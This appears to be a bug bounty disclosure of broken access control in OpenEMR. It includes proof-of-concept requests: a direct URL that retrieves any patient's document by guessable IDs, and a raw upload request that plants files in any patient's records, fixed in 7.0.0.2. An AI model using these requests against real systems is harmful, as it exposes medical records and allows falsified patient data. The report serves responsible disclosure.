Broken Access Controls in Patient Files in openemr/openemr

Valid

Reported on

Oct 7th 2022


Description

An authenticated user without document access has the ability to direct access any document in the system by using a url similar to this http://domain/openemr/controller.php?document&retrieve&patient_id=2&document_id=19. The autoincrement identifier was also susceptible of being bruteforced for both patient_id and document_id.

A second instance allowed an authenticated user without document access to upload file to any user repository.

Proof of Concept

The first one allows any user to access a document by referencing the patient_id and document_id:

http://domain/openemr/controller.php?document&retrieve&patient_id=2&document_id=19

The second instance affected the upload functionality. The following example illustrates the situation:

POST /openemr/controller.php?document&upload&patient_id=2&parent_id=1& HTTP/1.1
Host: REDACTED
(...snip...)
Upgrade-Insecure-Requests: 1

-----------------------------247482557730593022112237721191
Content-Disposition: form-data; name="MAX_FILE_SIZE"

64000000
-----------------------------247482557730593022112237721191
Content-Disposition: form-data; name="file[]"; filename="testBAC.txt"
Content-Type: text/plain

TESTFILE
-----------------------------247482557730593022112237721191
Content-Disposition: form-data; name="dicom_folder[]"; filename=""
Content-Type: application/octet-stream

(...snip...)
-----------------------------247482557730593022112237721191--

The response displayed a message saying Documents Not Authorized, but the file was successfully uploaded:

REQUEST:
GET /openemr/controller.php?document&retrieve&patient_id=2&document_id=23&as_file=false HTTP/1.1
(...snip...)

RESPONSE:
HTTP/1.1 200 OK
Date: Fri, 07 Oct 2022 16:07:36 GMT
Server: Apache/2.4.54 (Debian)
Expires: 0
Cache-Control: must-revalidate, post-check=0, pre-check=0
Pragma: public
Content-Description: File Transfer
Content-Transfer-Encoding: binary
Content-Disposition: inline; filename="testBAC.txt"
Content-Length: 8
Connection: close
Content-Type: text/plain;charset=utf-8

TESTFILE

Impact

Any user with access to the platform would be able to bypass document access restrictions and download any document related to any user in the system. It was also possible to inject document to any patient that could leverage malicious data used as valid medical data.

We are processing your report and will contact the openemr team within 24 hours. 7 months ago
We have contacted a member of the openemr team and are waiting to hear back 7 months ago
We have sent a follow up to the openemr team. We will try again in 7 days. 7 months ago
We have sent a second follow up to the openemr team. We will try again in 10 days. 7 months ago
openemr/openemr maintainer has acknowledged this report 7 months ago
Brady Miller validated this vulnerability 7 months ago
xkulio has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Brady Miller marked this as fixed in 7.0.0.2 with commit 953cb8 7 months ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
C_Document.class.php#L565 has been validated
xkulio
7 months ago

Researcher


@admin, can we get a CVE number for the last 5 vulns reported? @maintainer, do you need some extra time to release a new version before it goes public?

Pavlos
6 months ago

Admin


If the maintainer accepts, we will assign CVEs for your past 5 reports. Let us know Brady :)

Brady Miller
6 months ago

Maintainer


hi @xkulio and @Pavlos, Plan to "Publish" this about 1 week after we release 7.0.0 patch 2 (7.0.0.2), which will likely be in about 2-4 weeks.

Brady Miller published this vulnerability 5 months ago
Brady Miller
5 months ago

Maintainer


@admin, please assign a CVE. thanks!

Pavlos
4 months ago

Admin


(y) on it

Pavlos
4 months ago

Admin


sorry didn't notice we did this already

to join this conversation